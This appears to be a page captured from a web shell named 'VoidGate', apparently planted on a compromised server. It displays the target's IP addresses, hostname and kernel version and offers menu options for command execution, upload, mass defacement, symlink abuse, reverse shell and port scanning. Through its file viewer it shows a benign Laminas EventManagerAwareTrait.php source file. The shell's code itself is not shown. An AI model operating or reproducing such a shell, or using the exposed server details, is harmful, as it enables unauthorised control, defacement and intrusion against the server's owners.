ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
laminas
/
laminas-eventmanager
/
src
/
Viewing: EventManagerAwareTrait.php
<?php namespace Laminas\EventManager; use Traversable; use function array_merge; use function array_unique; use function is_array; use function is_object; use function is_string; use function method_exists; /** * A trait for objects that provide events. * * If you use this trait in an object, you will probably want to also implement * EventManagerAwareInterface, which will make it so the default initializer in * a Laminas MVC application will automatically inject an instance of the * EventManager into your object when it is pulled from the ServiceManager. * * @see Laminas\Mvc\Service\ServiceManagerConfig */ trait EventManagerAwareTrait { /** @var EventManagerInterface */ protected $events; /** * Set the event manager instance used by this context. * * For convenience, this method will also set the class name / LSB name as * identifiers, in addition to any string or array of strings set to the * $this->eventIdentifier property. */ public function setEventManager(EventManagerInterface $events) { $identifiers = [self::class, static::class]; if (isset($this->eventIdentifier)) { if ( (is_string($this->eventIdentifier)) || (is_array($this->eventIdentifier)) || $this->eventIdentifier instanceof Traversable ) { $identifiers = array_unique(array_merge($identifiers, (array) $this->eventIdentifier)); } elseif (is_object($this->eventIdentifier)) { $identifiers[] = $this->eventIdentifier; } // silently ignore invalid eventIdentifier types } $events->setIdentifiers($identifiers); $this->events = $events; if (method_exists($this, 'attachDefaultListeners')) { $this->attachDefaultListeners(); } } /** * Retrieve the event manager * * Lazy-loads an EventManager instance if none registered. * * @return EventManagerInterface */ public function getEventManager() { if (! $this->events instanceof EventManagerInterface) { $this->setEventManager(new EventManager()); } return $this->events; } }
Coded With 💗 by
0x6ick